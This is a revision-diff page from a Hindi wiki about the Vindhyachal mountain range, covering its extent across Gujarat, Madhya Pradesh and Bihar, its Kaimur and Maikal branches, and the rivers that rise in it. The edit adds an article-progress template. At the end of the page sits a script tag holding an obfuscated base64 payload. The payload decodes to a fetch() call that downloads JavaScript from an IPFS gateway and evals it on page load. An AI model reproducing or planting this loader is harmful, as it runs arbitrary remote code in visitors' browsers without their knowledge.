"विन्ध्याचल पर्वत" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Text replace - " भारत " to " भारत ")
पंक्ति 1: पंक्ति 1:
{{incomplete}}
 
 
विन्ध्याचल पर्वत पहाड़ियों की टूटी—फूटी श्रृंखला, जो [[भारत]] की मध्यवर्ती उच्चभूमि का दक्षिणी कगार बनाती है। पश्चिम में [[गुजरात]] राज्य से लगभग 1,086 किमी तक विस्तृत यह श्रेणी [[मध्य प्रदेश]] को पारकर [[वाराणसी]] (बनारस) की [[गंगा नदी]] घाटी से मिलती है। ये पर्वत [[मालवा पठार]] का दक्षिणी छोर बनाते हैं और इसके बाद दो शाखाओं में बंट जाते हैं – कैमूर श्रेणी, जो [[सोन नदी]] के उत्तर से पश्चिमी [[बिहार]] राज्य तक फैली है तथा दक्षिणी शाखा, जो सोन और [[नर्मदा नदी]] के ऊपरी क्षेत्र के बीच मैकाल श्रेणी (या अमरकंटक पठार) में सतपुड़ा श्रेणी से मिलती है।
 
विन्ध्याचल पर्वत पहाड़ियों की टूटी—फूटी श्रृंखला, जो [[भारत]] की मध्यवर्ती उच्चभूमि का दक्षिणी कगार बनाती है। पश्चिम में [[गुजरात]] राज्य से लगभग 1,086 किमी तक विस्तृत यह श्रेणी [[मध्य प्रदेश]] को पारकर [[वाराणसी]] (बनारस) की [[गंगा नदी]] घाटी से मिलती है। ये पर्वत [[मालवा पठार]] का दक्षिणी छोर बनाते हैं और इसके बाद दो शाखाओं में बंट जाते हैं – कैमूर श्रेणी, जो [[सोन नदी]] के उत्तर से पश्चिमी [[बिहार]] राज्य तक फैली है तथा दक्षिणी शाखा, जो सोन और [[नर्मदा नदी]] के ऊपरी क्षेत्र के बीच मैकाल श्रेणी (या अमरकंटक पठार) में सतपुड़ा श्रेणी से मिलती है।
  
 
450 मीटर से 1100 मीटर ऊँचाई पर विंध्य श्रेणी से गंगा—[[यमुना नदी|यमुना]] प्रणाली की मुख्य दक्षिणी सहायक नदियाँ निकलती हैं, जिनमें [[चंबल नदी|चंबल]], [[बेतवा नदी|बेतवा]], [[केन नदी|केन]] और [[टोन्स नदी|टोन्स]] शामिल हैं। अपनी समतलीय बलुआ पत्थर संरचना के कारण ये पर्वत समतल शिखर युक्त और पठार जैसे लगते हैं। दूसरी शताब्दी के यूनानी भूगोलवेत्ता टालेमी ने इस श्रेणी को उत्तरी और प्रायद्वीप [[भारत]] के बीच सीमा माना था।  
 
450 मीटर से 1100 मीटर ऊँचाई पर विंध्य श्रेणी से गंगा—[[यमुना नदी|यमुना]] प्रणाली की मुख्य दक्षिणी सहायक नदियाँ निकलती हैं, जिनमें [[चंबल नदी|चंबल]], [[बेतवा नदी|बेतवा]], [[केन नदी|केन]] और [[टोन्स नदी|टोन्स]] शामिल हैं। अपनी समतलीय बलुआ पत्थर संरचना के कारण ये पर्वत समतल शिखर युक्त और पठार जैसे लगते हैं। दूसरी शताब्दी के यूनानी भूगोलवेत्ता टालेमी ने इस श्रेणी को उत्तरी और प्रायद्वीप [[भारत]] के बीच सीमा माना था।  
 +
 +
{{लेख प्रगति
 +
|आधार=
 +
|प्रारम्भिक=प्रारम्भिक1
 +
|माध्यमिक=
 +
|पूर्णता=
 +
|शोध=
 +
}}
 
==संबंधित लेख==
 
==संबंधित लेख==
 
{{पर्वत}}
 
{{पर्वत}}

07:18, 13 दिसम्बर 2010 का अवतरण

विन्ध्याचल पर्वत पहाड़ियों की टूटी—फूटी श्रृंखला, जो भारत की मध्यवर्ती उच्चभूमि का दक्षिणी कगार बनाती है। पश्चिम में गुजरात राज्य से लगभग 1,086 किमी तक विस्तृत यह श्रेणी मध्य प्रदेश को पारकर वाराणसी (बनारस) की गंगा नदी घाटी से मिलती है। ये पर्वत मालवा पठार का दक्षिणी छोर बनाते हैं और इसके बाद दो शाखाओं में बंट जाते हैं – कैमूर श्रेणी, जो सोन नदी के उत्तर से पश्चिमी बिहार राज्य तक फैली है तथा दक्षिणी शाखा, जो सोन और नर्मदा नदी के ऊपरी क्षेत्र के बीच मैकाल श्रेणी (या अमरकंटक पठार) में सतपुड़ा श्रेणी से मिलती है।

450 मीटर से 1100 मीटर ऊँचाई पर विंध्य श्रेणी से गंगा—यमुना प्रणाली की मुख्य दक्षिणी सहायक नदियाँ निकलती हैं, जिनमें चंबल, बेतवा, केन और टोन्स शामिल हैं। अपनी समतलीय बलुआ पत्थर संरचना के कारण ये पर्वत समतल शिखर युक्त और पठार जैसे लगते हैं। दूसरी शताब्दी के यूनानी भूगोलवेत्ता टालेमी ने इस श्रेणी को उत्तरी और प्रायद्वीप भारत के बीच सीमा माना था।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>